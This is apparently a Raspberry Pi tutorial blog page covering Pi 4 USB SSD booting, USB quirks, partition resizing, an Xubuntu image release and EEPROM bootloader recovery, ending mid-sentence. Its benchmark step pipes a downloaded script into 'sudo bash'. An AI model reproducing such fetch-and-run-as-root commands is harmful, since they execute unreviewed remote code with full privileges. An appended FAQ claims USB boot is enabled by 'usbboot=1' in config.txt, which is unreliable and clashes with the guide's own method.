SATA Pi 4 case / storage solution. With the case and M.2 SATA expansion board you can completely enclosure your Pi 4 and have a built in M.2 slot! The M.2 SATA board is sometimes sold separately from the case itself and can be used as well. Does not support NVMe, this is for SATA M.2 drives only! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Power Requirements Power can be a serious problem with these drives. We are learning from the comments that you are especially likely to run into power issues with NVMe enclosures. A powered USB hub or a power adapter that puts out 3.5A comes not only just strongly recommended, it may actually be required that you choose one option or the other for your drive to function. The specific requirements of how much power you’ll need depend on the adapter/enclosure and the model of your drive itself. As a very rough guideline, older models of drives tend to use more power than newer models of drives. 3.5″ form factor drives also use more power than 2.5″ drives. The earliest SSD models like first and second generation models are also well understood to use significantly more power than newer models. This is due to changes and improvements in technology over the years and even using different more efficient memory like 3D NAND. Some super high end performance drives will consume more power as well. Here’s the current recommendations based on everyone’s comments combined with stuff I’ve personally used with the Pi: CanaKit 3.5A Power Adapter The CanaKit 3.5A adapter has an extra half an amp (500 mA) of capacity to give some breathing room to your accessories. This is bigger than the official Pi power supply which provides 3.0A. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.sg* Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power Fixing (some) USB Adapter Problems Using Quirks Some of the very common adapters on the naughty list above (such as the Sabrent) can be made to work by using USB quirks to disable UAS mode on the drive. This lowers performance, but it’s still much faster than a SD card and your adapter won’t go to waste. To find out the quirks we need to find the device ID string for your adapter and then add an entry to cmdline.txt telling the kernel to apply them on boot. Find Your Adapter To apply the quirks we first need to get the adapter id. We will use the sudo lsusb command: $ sudo lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub On line 2 we can see my ASM1051E SATA 6Gb/s bridge adapter (it’s the known working StarTech.com 2.5″ SATA to USB adapter*). You will see something very similar to mine when you run the command and it shouldn’t be too hard to figure out which device it is. If you need more information add a -v switch to make the command sudo lsusb -v. This can sometimes add some additional details to make it easier to figure out which one is your adapter. If you’re still not sure, we have another command that between the two that can narrow things down. Type / paste the following: sudo dmesg | grep usb [ 0.828535] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 4.19 [ 0.828568] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 [ 0.828597] usb usb3: Product: DWC OTG Controller [ 0.828620] usb usb3: Manufacturer: Linux 4.19.75-v7l+ dwc_otg_hcd [ 0.828644] usb usb3: SerialNumber: fe980000.usb [ 0.830051] usbcore: registered new interface driver uas [ 0.830182] usbcore: registered new interface driver usb-storage [ 0.836488] usbcore: registered new interface driver usbhid [ 0.836511] usbhid: USB HID core driver [ 0.971598] usb 1-1: new high-speed USB device number 2 using xhci_hcd [ 1.154217] usb 1-1: New USB device found, idVendor=2109, idProduct=3431, bcdDevice= 4.20 [ 1.154254] usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0 [ 1.154281] usb 1-1: Product: USB2.0 Hub [ 1.301989] usb 2-1: new SuperSpeed Gen 1 USB device number 2 using xhci_hcd [ 1.332965] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [ 1.332999] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [ 1.333026] usb 2-1: Product: ASM105x [ 1.333048] usb 2-1: Manufacturer: ASMT [ 1.333071] usb 2-1: SerialNumber: 123456789B79F This is the dmesg log showing the hardware detection as hardware is activated on the Pi. If your log is really long you can generate fresh entries by just unplugging a device and plugging it back in and running the command again. Here we can clearly see that the ASM105x is what our StarTech adapter is being detected as. Now we can go back to our first lsusb command and we want the 8 characters from the ID field that comes right after the Device: Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge Our adapter’s ID is: 174c:55aa Applying Quirks To apply the quirks to our USB adapter we are going to edit /boot/cmdline.txt. Type: sudo nano /boot/cmdline.txt We are going to add the following entry into the very front of cmdline.txt: usb-storage.quirks=XXXX:XXXX:u In place of the X’s above you will put in your adapter’s ID that we got before. With the example commands I gave above mine would look like this: usb-storage.quirks=174c:55aa:u. After this my cmdline.txt looks like this (everything should be one continuous line, no line breaks!): usb-storage.quirks=174c:55aa:u console=serial0,115200 console=tty1 root=PARTUUID=d34db33f-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait Now reboot the Pi. If the Pi fails to boot you can plug the SD card into the computer and go to /boot/cmdline.txt and undo the change we did so you can boot back in with your SD card. Verifying Quirks Once you have rebooted after changing cmdline.txt we can verify the quirks have been applied by doing another dmesg | grep usb command: sudo dmesg | grep usb [ 1.332924] usb 2-1: New USB device found, idVendor=174c, idProduct=55aa, bcdDevice= 1.00 [ 1.332957] usb 2-1: New USB device strings: Mfr=2, Product=3, SerialNumber=1 [ 1.332983] usb 2-1: Product: ASM105x [ 1.333006] usb 2-1: Manufacturer: ASMT [ 1.333028] usb 2-1: SerialNumber: 123456789B79F [ 1.335967] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [ 1.336071] usb 2-1: UAS is blacklisted for this device, using usb-storage instead [ 1.336103] usb-storage 2-1:1.0: USB Mass Storage device detected [ 1.336479] usb-storage 2-1:1.0: Quirks match for vid 174c pid 55aa: c00000 [ 1.336611] scsi host0: usb-storage 2-1:1.0 This time we can see in dmesg that UAS was blacklisted for the device and it has loaded with the usb-storage driver instead. This driver tends to be more compatible with the “problematic adapters” but the performance is usually significantly lower. It’s definitely worth a try though as some adapters do better with the quirks performance-wise. The only way to know for sure is to run a benchmark (see storage benchmark section near the end). USB Boot Instructions There are a lot of steps to follow to set everything up properly. If you make a mistake the first time don’t spend too much time trying to correct it or figure out what you did wrong. It’s usually faster to burn the images again and reconfigure again rather than try to figure out which step you might have made a typo on. It’s much easier the second time! Prepare SD Card Download the latest Raspberry Pi OS release from the Official Raspberry Pi download page. Both Lite or Desktop versions will work. Win32DiskImager (Windows) or balenaEtcher (Linux, Mac OS X, Windows) are highly recommended to burn the images. Note: Don’t attempt to use raw dd commands to write the images. Too many silly things can go wrong that are checked for/fixed by the recommended programs. Do yourself a big favor and use one of the recommends to avoid spending a ton of time troubleshooting basic imaging problems! Preparing SSD We are going to burn a second identical copy of Raspbian to the SSD. This ensures everything the Pi needs to boot is there so we can use the SD card as a bootloader but our actual system will be on our nice fast SSD drive. Note: Make sure you create the empty file named “ssh” on the boot partition of both drives if you are headless or don’t have a mouse/keyboard attached so you can ssh in on the first boot. First Boot (SD card only, SSD unplugged) Insert your freshly imaged SD card into the Pi and connect the power. Sign into the Pi for the first time. Don’t do an apt-get upgrade/dist-upgrade or any additional configuration yet. Just stick with the instructions until we have finished configuration (especially since if something goes wrong you may have to start over and any other setup you did will be lost). Once the Pi has finished booting and you have signed in for the first time plug in your SSD to your Pi’s USB 3.0 ports. The USB 3.0 ports are the ones that have the blue plastic inside instead of the black plastic (the black ones are USB 2.0 ports). Change PARTUUID We need to change the PARTUUID of our SSD’s partitions so the Pi doesn’t get confused about what device to boot from. Right now the partitions on both the SD card and the SSD are an exact match and we need them to be different so we can tell the Pi to boot specifically from our SSD’s partition. We are going to use fdisk to change the SSD’s PARTUUID to the hexadecimal d34db33f to make our SSD easy to identify. Use the following: $ sudo fdisk /dev/sda Welcome to fdisk (util-linux 2.33.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk /dev/sda: 238.5 GiB, 256060514304 bytes, 500118192 sectors Disk model: ASM105x Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0x6c586e13 Device Boot Start End Sectors Size Id Type /dev/sda1 8192 532479 524288 256M c W95 FAT32 (LBA) /dev/sda2 532480 500118191 499585712 238.2G 83 Linux Command (m for help): x Expert command (m for help): i Enter the new disk identifier: 0xd34db33f Disk identifier changed from 0x6c586e13 to 0xd34db33f. Expert command (m for help): r Command (m for help): w The partition table has been altered. Syncing disks. That’s it. Let’s verify our change using blkid: $ sudo blkid /dev/mmcblk0p1: LABEL_FATBOOT="boot" LABEL="boot" UUID="5203-DB74" TYPE="vfat" PARTUUID="6c586e13-01" /dev/mmcblk0p2: LABEL="rootfs" UUID="2ab3f8e1-7dc6-43f5-b0db-dd5759d51d4e" TYPE="ext4" PARTUUID="6c586e13-02" /dev/sda1: LABEL_FATBOOT="boot" LABEL="boot" UUID="5203-DB74" TYPE="vfat" PARTUUID="d34db33f-01" /dev/sda2: LABEL="rootfs" UUID="2ab3f8e1-7dc6-43f5-b0db-dd5759d51d4e" TYPE="ext4" PARTUUID="d34db33f-02" Your /dev/mmcblk0 and /dev/sda devices should now be different from each other. The SD card’s ID is 6c586e13 and the SSD’s PARTUUID is now Update /boot/cmdline.txt We are going to change cmdline.txt to point to the SSD for booting instead of the SD card. First make a backup of your existing cmdline.txt file with the following command: sudo cp /boot/cmdline.txt /boot/cmdline.txt.bak We’ve now created a backup you can restore if something goes wrong. If you need to restore your backup plug the SD card into a computer/device and replace cmdline.txt with cmdline.txt.bak that we made above. Now your Pi should boot normally again. Open up /boot/cmdline.txt using nano or your favorite text editor: sudo nano /boot/cmdline.txt The existing file will look like this: console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait quiet init=/usr/lib/raspi-config/init_resize.sh We are going to change the root=PARTUUID section to point to our new d34db33f PARTUUID like the following: console=serial0,115200 console=tty1 root=PARTUUID=d34db33f-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait quiet init=/usr/lib/raspi-config/init_resize.sh Make the change and double check the line is what it should be,then press Ctrl+X to save our changes. Note: cmdline.txt should be one long solid line with no breaks — don’t add any line breaks or the system won’t boot and you’ll need to restore the backup we made earlier! Test SSD We are now ready to test booting from the SSD. Restart your Pi by issuing a sudo reboot The first boot with your SSD can be slow due to running fsck on the drive. If you have a really large SSD it can take surprisingly long to check all that space. Once the check completes it will mark the drive clean and skip the disk check from now on. It can take over a minute or two sometimes for really big drives so give it at least that much time before assuming it didn’t work. After signing in we can verify that the SSD is being used like this: $ findmnt -n -o SOURCE / /dev/sda2 Verify that partition has switched over as shown below to /dev/sda2 (SSD) instead of /dev/mmcblk0p2 (SD card). Update /etc/fstab We are now ready to edit the /etc/fstab file to point to our updated drive. To edit the file type: sudo nano /etc/fstab Your current file will look like this: $ cat /etc/fstab proc /proc proc defaults 0 0 PARTUUID=6c586e13-01 /boot vfat defaults 0 2 PARTUUID=6c586e13-02 / ext4 defaults,noatime 0 1 sudo nano /etc/fstab Your current file will look similar to this (PARTUUID varies based on your Raspbian image version): cat /etc/fstab proc /proc proc defaults 0 0 PARTUUID=6c586e13-01 /boot vfat defaults 0 2 PARTUUID=6c586e13-02 / ext4 defaults,noatime 0 1 We want to change the root ( / ) partition (PARTUUID ending with -02) to load our SSD’s PARTUUID instead of the SD card. Replace the 2nd partition’s PARTUUID field on the last line in the file with the d34db33f label we applied earlier with fdisk. After making the change my /etc/fstab file looks like this: proc /proc proc defaults 0 0 PARTUUID=6c586e13-01 /boot vfat defaults 0 2 PARTUUID=d34db33f-02 / ext4 defaults,noatime 0 1 Press Ctrl+X to tell nano to save our changes. Now type sudo reboot to restart the Pi. Note: We want to leave the first partition (/boot) on the SD card. If you change this to the SSD then apt will update your SSD instead of the SD card so they won’t be used during boot! Remember that we are using the SD card as a bootloader and that is why the firmware updates (such as start.elf, etc) should go there instead of the SSD’s boot partition (which is never used). Resizing Filesystem By default the partition on the SSD / Flash drive will only be 1.8G. The Pi expands this automatically on micro SD drives but we will need to do it ourselves for a SSD / Flash drive. To do this we need to expand the partition and then resize the file system. First let’s open fdisk and print the partitions: pi@raspberrypi:~ $ sudo fdisk /dev/sda Welcome to fdisk (util-linux 2.33.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Command (m for help): p Disk /dev/sda: 238.5 GiB, 256060514304 bytes, 500118192 sectors Disk model: ASM105x Units: sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disklabel type: dos Disk identifier: 0xd34db33f Device Boot Start End Sectors Size Id Type /dev/sda1 8192 532479 524288 256M c W95 FAT32 (LBA) /dev/sda2 532480 4390911 3858432 1.9G 83 Linux There is the line we need. Our start value for /dev/sda2 (rootfs) is 532480. Next we need to remove and recreate the partition as a larger size. If you make any mistakes during this command just close fdisk by pressing q. The changes won’t be written to disk. If you mess up any of the commands the drive will no longer boot and you’ll have to start over again so be careful! Command (m for help): d Partition number (1,2, default 2): 2 Partition 2 has been deleted. Command (m for help): n Partition type p primary (1 primary, 0 extended, 3 free) e extended (container for logical partitions) Select (default p): p Partition number (2-4, default 2): 2 First sector (2048-500118191, default 2048): 532480 Last sector, +/-sectors or +/-size{K,M,G,T,P} (532480-500118191, default 500118191): 500118191 Created a new partition 2 of type 'Linux' and of size 238.2 GiB. Partition #2 contains a ext4 signature. Do you want to remove the signature? [Y]es/[N]o: N Command (m for help): w The partition table has been altered. Syncing disks. If everything went well then type “w” and press enter. Otherwise press “q” to quit and try again. Once you enter “w” the changes will be permanently written to disk! Now reboot the system. Type “df -h” to view the current disk: pi@raspberrypi:~ $ df -h Filesystem Size Used Avail Use% Mounted on /dev/root 1.8G 1.3G 415M 76% / devtmpfs 1.8G 0 1.8G 0% /dev tmpfs 2.0G 0 2.0G 0% /dev/shm tmpfs 2.0G 8.5M 1.9G 1% /run tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/mmcblk0p1 253M 52M 201M 21% /boot tmpfs 391M 0 391M 0% /run/user/1000 We can see our disk is still 1.8G even after resizing the partition. That’s because we still have one more step! We need to resize the filesystem to fill our new partition space. For this we will use “sudo resize2fs /dev/sda2”: sudo resize2fs /dev/sda2 resize2fs 1.44.5 (15-Dec-2018) Filesystem at /dev/sda2 is mounted on /; on-line resizing required old_desc_blocks = 1, new_desc_blocks = 15 The filesystem on /dev/sda2 is now 62448214 (4k) blocks long. Now let’s check df -h again: pi@raspberrypi:~ $ df -h Filesystem Size Used Avail Use% Mounted on /dev/root 235G 1.3G 224G 1% / devtmpfs 1.8G 0 1.8G 0% /dev tmpfs 2.0G 0 2.0G 0% /dev/shm tmpfs 2.0G 8.5M 1.9G 1% /run tmpfs 5.0M 4.0K 5.0M 1% /run/lock tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/mmcblk0p1 253M 52M 201M 21% /boot tmpfs 391M 0 391M 0% /run/user/1000 And that’s it! You will now be using all of your space on your drive. Verify SSD Functionality / Performance You can make sure everything is running correctly (and as fast as it should be) by running my quick storage benchmark. You can run the benchmark with the following one-liner: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash This will give you a score you can compare to the other Raspberry Pi Storage Benchmark results and make sure that you are getting an equivalent speed to your peers with the same device! Update Pi using apt Now that we’ve updated fstab it is safe (and highly recommended) to update your Pi’s software. Type “sudo apt-get update && sudo apt-get dist-upgrade” to update the system and firmware. Your system will now be running completely from your USB drive! To verify this, run the command “findmnt -n -o SOURCE” / to ensure your root partition has switched over as shown below to /dev/sda2 instead of /dev/mmcblk0p2. Conclusion The Samsung 950 Pro NVMe drive in the featured picture scored a 9189 on the Raspberry Pi Storage Benchmark. The previous all-time record score on a Pi 3B+ was 3561. The performance gains are very real and very dramatic. For me getting this performance is well worth having to waste a micro SD card just to be a bootloader. I am largely after the USB 3.0 bus and gigabit ethernet performance improvements and using this method I am able to achieve the performance I was after without waiting an indeterminate amount of time for the feature to be added back in! Although there are ongoing compatibility issues and we lack the super easy native USB booting support we had before I’m more than willing to go through the growing pains to finally get rid that ancient USB 2.0 bus! Just make sure if you are planning to build a system you plan your adapters and parts accordingly. Other Resources If you want to see which Pi storage performs the fastest and get an idea of what kind of drives to look for check out my 2020’s Fastest Raspberry Pi 4 Storage Benchmarks If you have one of the new Raspberry Pi 400 kits *then don’t miss my Pi 400 Overclocking and SSD Setup Guide How do I boot Raspberry Pi 4 from USB/SSD instead of an SD card?Update the bootloader firmware, then enable usbboot by setting usbboot=1 and max_usb_current=1 in the /boot/firmware/config.txt file. Reboot and the Pi will detect the USB drive.Why is USB booting better than SD card booting for Pi 4?USB 3.0 SSDs provide significantly faster read/write speeds, better durability, and reduced file system corruption risks compared to standard microSD cards, especially under heavy database or Docker loads.Do I need a powered USB hub for SSD boot on Pi 4?For high-performance NVMe enclosures or multiple drives, a powered hub is highly recommended to prevent voltage drops, brownouts, and ensure stable power delivery during peak reads/writes. #### Raspberry Pi 4 Xubuntu 18.04 Image Released (Unofficial) Xubuntu 18.04 Desktop Screenshot After receiving quite a few requests for a lightweight alternative to the default Ubuntu Desktop environment I have added Xubuntu Desktop to my Raspberry Pi 4 Ubuntu 18.04 LTS preinstalled image builds! The Xubuntu version feels much snappier and more responsive on the Pi. It also uses less overall memory freeing it up to do other things on your Pi. Table of Contents Toggle Project Home / DownloadsFeaturesSupport Project Home / Downloads The project home page is available at: GitHub – TheRemote – Ubuntu-Server-raspi4-unofficial Downloads are available at: GitHub – TheRemote – Ubuntu-Server-raspi4-unofficial – Releases Features Fully 64-bit kernel and userspace environmentUpdates normally via apt dist-upgrade from the official Ubuntu repositoriesRaspberry Pi userland utilities included (vcgencmd, dtoverlay, etc.)raspi-config utility included (good for enabling I2C, SPI, etc.)Uses the official 4.19.y Raspbian linux kernel built with arm64 flagsFirmware updates from the Raspbian image and the RPi-Distro/firmware-nonfree repository3D video hardware acceleration support via vc4-fkms-v3d stack.  Videos / games are giving very high and smooth FPS.Includes kernel headers and the full kernel source tree used to build a kernel with your own custom flags (/usr/src/ directory)Can build out-of-tree and DKMS modulesFull desktop support available via apt install kubuntu-desktop, xubuntu-desktop, xfce4, mate-desktop-environment, etc.5 GHz WiFi channel supportWorking Bluetooth and WiFiKVM virtualization supportUpdate script provided to update kernels/firmware/modules Support The best place to get support is at the GitHub issues page. Also make sure to see my original post for the Ubuntu unofficial image project at Raspberry Pi 4 Ubuntu Server Desktop 18.04.3 Unofficial which has more information! #### Raspberry Pi 4/400 Bootloader Firmware Update/Recovery Guide Raspberry Pi 4 with built in EEPROM chip All of the previous generations of Raspberry Pi contained all of their firmware on the SD card. Starting with the Raspberry Pi 4 the device actually has onboard upgradable firmware stored on an EEPROM chip separate from your storage. Updating this firmware is very important as one of the first released updates reduces power usage of the Pi by 30% which also reduces how hot it gets. In this guide I’ll show you how to update the bootloader firmware (no, it’s not apt-get upgrade, it’s a new utility called rpi-eeprom!) and also show you how to make a recovery SD card if your firmware gets corrupted and needs to be reflashed. If you are looking for information on how to change the boot order on the Raspberry Pi 4’s new bootloader firmware, check out my New Raspberry Pi 4 Bootloader USB Booting Guide. Table of Contents Toggle Upgrading the Bootloader FirmwareRequirementsInstall rpi-eeprom (older versions of Raspberry Pi OS / Raspbian)Checking for Updates ManuallyChanging rpi-eeprom’s Release ChannelView Bootloader Firmware Patch NotesDisable Automatic Bootloader Firmware UpdatesBootloader RecoveryRequirementsWhen to Attempt RecoveryRecovery ProcedureIf Recovery Doesn’t WorkCould My Pi Be Dead?Other Resources Upgrading the Bootloader Firmware Requirements Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* To upgrade the firmware you should be running the latest Raspberry Pi OS. Do not attempt this from another distribution. If you want to use another distribution afterward that is great! Since the Raspberry Pi bootloader firmware is stored on a chip on the device you can update it to the latest with Raspberry Pi OS and then go right back to using whatever you want. I personally have a separate SD card just for Raspberry Pi OS that I use to periodically plug in and update the firmware. The firmware and the utilities around it are changing so quickly that you are really playing with fire not attempting this with the latest and greatest officially supported distribution when you are talking about firmware / on-board chips / etc. With that word of caution out of the way, let’s get started! Install rpi-eeprom (older versions of Raspberry Pi OS / Raspbian) Newer versions of Raspberry Pi OS come with this utility already but if you are upgrading / have upgraded from an older version you may not have it in some cases. We can install it with the following commands: sudo apt update sudo apt full-upgrade sudo apt install rpi-eeprom Once the utility is installed Raspberry Pi OS will check at boot whether there are any critical bootloader firmware updates for your Pi. Checking for Updates Manually If you are like me and don’t want to wait around for Raspberry Pi OS to decide whether do these updates there is a command to check for updates manually: sudo rpi-eeprom-update You will see output like this: BCM2711 detected VL805 firmware in bootloader EEPROM BOOTLOADER: up-to-date CURRENT: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) LATEST: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) FW DIR: /lib/firmware/raspberrypi/bootloader/critical VL805: up-to-date CURRENT: 000138a1 LATEST: 000138a1 If the firmware isn’t up to date it will indicate an update is required like this: BCM2711 detected VL805 firmware in bootloader EEPROM *** UPDATE AVAILABLE *** BOOTLOADER: update available CURRENT: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) LATEST: Tue 24 Nov 15:08:04 UTC 2020 (1606230484) FW DIR: /lib/firmware/raspberrypi/bootloader/beta VL805: up-to-date CURRENT: 000138a1 LATEST: 000138a1 We now can see that there is updated firmware for our device. To install this update we will use the -a switch as well as the -d switch (which means to check the bootloader): sudo rpi-eeprom-update -d -a If there were updates available your output should look like this: BCM2711 detected VL805 firmware in bootloader EEPROM *** INSTALLING EEPROM UPDATES *** BOOTLOADER: update available CURRENT: Thu 3 Sep 12:11:43 UTC 2020 (1599135103) LATEST: Tue 24 Nov 15:08:04 UTC 2020 (1606230484) FW DIR: /lib/firmware/raspberrypi/bootloader/beta VL805: up-to-date CURRENT: 000138a1 LATEST: 000138a1 BOOTFS /boot EEPROM updates pending. Please reboot to apply the update. Reboot the Pi by typing sudo reboot and then run sudo rpi-eeprom-update again. This time it should tell you it is now up to date! Changing rpi-eeprom’s Release Channel By default you will only receive updates from Raspberry Pi OS “critical” channel. This is a very conservative firmware update channel that will only give you very well tested firmware updates that are considered critical fixes for the device. Another channel that is available is “stable”. If you are trying to get USB boot support working and other recently added features I would try the “stable” channel first. It’s a lot more well tested and you’re less likely to run into any bleeding edge issues. If you want to get the absolute latest firmware updates and fixes you may want to try the “beta” channel. These updates haven’t been tested as long and could potentially break your bootloader so Raspberry Pi OS only recommends using it if you are comfortable using the recovery tool to reflash your bootloader if something goes wrong. Check out the recovery section below for instructions on how to do this. To switch to the beta channel we are going to edit the file /etc/default/rpi-eeprom-update: sudo nano /etc/default/rpi-eeprom-update Change the line FIRMWARE_RELEASE_STATUS=”critical” to: FIRMWARE_RELEASE_STATUS="stable" Or alternatively: FIRMWARE_RELEASE_STATUS="beta" Now you can run: sudo rpi-eeprom-update -a and you should see a new update available. You will need to reboot your Pi before the update is applied. I’d recommend rebooting it right away and run the check one more time and make sure it states you are now up to date. View Bootloader Firmware Patch Notes The latest official patch notes for all versions and changes are available in the rpi-eeprom GitHub repository Disable Automatic Bootloader Firmware Updates If you want to control when the updates are applied instead of leaving it up to Raspberry Pi OS the autoupdating service can be disabled with the following command: sudo systemctl mask rpi-eeprom-update The startup service has now been disabled and automatic bootloader firmware updates will only be applied if you do it manually. To undo this and reenable the service we will use the unmask command: sudo systemctl unmask rpi-eeprom-update Now automatic firmware updates are enabled again! Bootloader Recovery The downside of having an onboard bootloader is that if something breaks reformatting your SD card will not fix it. In this section I will cover how to use the official tools to reflash and recover your Pi’s bootloader. Requirements To do this we need to prepare a SD card with the Raspberry Pi 4 EEPROM boot recovery tool. The easiest way to do this is to use the official Raspberry Pi Imager tool from the Raspberry Pi foundation to prepare the recovery image. Here is how we create the recovery image inside the utility. Choose the “Misc utility images” category as shown below: Raspberry Pi Imager – “Misc utilities images” menu Next choose the “Bootloader (restore the factory default settings and change boot priority)” option: Raspberry Pi Imager – “Operating System” menu This will take you to a menu where you will select the default boot device for your Raspberry Pi like this: Raspberry Pi Imager – “Bootloader” menu Notice that you are mostly just selecting the primary boot device. Modern versions of the firmware will fall back if the primary boot device fails. The first menu for example says “Boot from SD card if available, otherwise boot from USB”. This means that if you took the SD card out you could still boot from a USB mass storage device if you selected the first option. Choosing the USB option would work similarly where if the USB mass storage boot failed it would fall back to booting from the SD card. Select the mode you would like and it should take you back to the main menu screen to pick the storage device to write to. Next choose your SD card and then choose “Write”. Now unplug your Pi and put in the newly prepared SD card. Connect the power and let it boot. This will restore your bootloader to defaults. You should see a continuous rapid green blinking light. You may now disconnect the power and put your original SD card back / reinstall Raspberry Pi OS and boot the Pi normally! When to Attempt Recovery There is a simple procedure to tell if your bootloader is corrupt. Turn off your Pi completely and remove the SD card / all attached storage. Now plug your Pi back in with no storage media in it. If your Pi’s bootloader is healthy you will see the green light blink a few times and then enter a pattern where it will blink 4 times and then have a long pause. It will repeat these 4 blinks / pause in an endless loop. If your Pi’s bootloader is NOT healthy the green light will not blink. If this is the case it is time to do a bootloader recovery! Another situation that can warrant a bootloader recovery is when your bootloader is missing a bunch of settings despite being up to date. For example other readers have seen cases where despite having the latest firmware according to rpi-eeprom-update they are missing key settings like the BOOT_ORDER setting. If anything is unusual with your settings many commenters have had success with this method when nothing else worked! Recovery Procedure Before powering up your device insert the “recovery” SD card that we made earlier in the requirements section above and make sure that all USB devices are removed. Even keyboards have been known to cause issues so make sure absolutely everything is unplugged! Now insert the SD card into the Pi and connect the power. If the bootloader recovery is successful the green activity light will start blinking rapidly continuously (forever). In this case you have successfully recovered your bootloader! You may now insert a normal fully imaged SD card and it will boot normally again. If anything other than a continuous rapidly blinking green light happens the recovery was not successful. If Recovery Doesn’t Work Try with a freshly imaged Raspberry Pi OS SD card. Sometimes there are unexpected things going on with an image that can prevent the newer firmware from being used (see next bullet point for example). Check your “boot” partition of your main OS and make sure there isn’t a file in there called “recovery.bin”. If this file is present it will load that version of the bootloader firmware instead of what is flashed on your Pi. This file should only be present on the “recovery” SD card we created but people are finding these files on their main OS “boot” partition. It’s worth checking to make sure it is not on the main OS SD card / drive you are trying to boot with. There is a known (and strange) issue with Raspberry Pi 4’s and 32 GB SD cards where the Pi will abort the boot. If this might apply to you then read this post. Make sure you created your SD card correctly. A common pitfall is using cards above 32 GB and formatting them with ex-FAT instead of regular FAT/FAT32. Make sure *all* USB devices are unplugged from the Pi Try a different SD card if you have one available. SD cards do go bad all the time. If there’s any doubt here check out my Raspberry Pi storage benchmarks page to see the highest performing SD cards (you definitely want an A1+ rated one). Check your power cord. Make sure you are using a high quality USB-C power cord that is compatible with the Pi. Even if it was working before I have had several old Pi power supplies that worked for years die on me. If there’s any doubt grab a known reliable one like the Canakit USB-C Raspberry Pi 4 Power Supply* If you’ve gone through all the steps and are positive it’s not one of the above “gotcha” issues then it’s time to go deeper. You need to observe your Pi’s exact behavior when you plug it in (what the lights are doing). Here is a table of different blink patterns and what they mean: Raspberry Pi 4 LED blink warning table If your Pi’s LED behavior matches any of these codes then we now have much more to go on to diagnose why your Pi won’t boot. Some of them are very obvious but they’re all worth a quick web search once you have matched it to a code. If your Pi’s behavior does not match one of these codes head to the official sticky post on the Raspberry Pi forums and scroll to the very bottom (post #4 specifically for Raspberry Pi). This tracks ongoing boot issues with the Pi 4 that may affect your Pi and a whole bunch of things to try. If you get through that post go all the way up to post #1 and start going down the list. Could My Pi Be Dead? It’s absolutely possible. Things like power issues (surges etc), wiring breadboards incorrectly, etc. can kill your Pi completely. That being said, if you have a Pi 4 that appears to be dead and you’ve gone through all my troubleshooting steps / the official sticky post / you aren’t covered by warranty then I would hold onto it for now as it’s still very new and some problems are still being investigated with the bootloader. I have definitely killed a couple myself. I had a 3B+ that I had been using for a year building images (basically beating the crap out of it) on that finally had a hardware failure and would no longer boot. I wasn’t too sad about this one because I absolutely beat the crud out of these devices and push them to the absolute limit. My more heartbreaking one was that I have killed a 4 GB Pi 4 that I got right at the Pi 4’s launch. I left this Pi in a very hot area running an experimental image that didn’t have proper firmware on it for about 2.5 weeks and now upon powering it up the green light will start blinking like it’s about to start booting then the green light will freeze and stay stuck on forever. I have a couple other Pi 4’s so I know all my cards and power supplies are good. Make sure you’ve 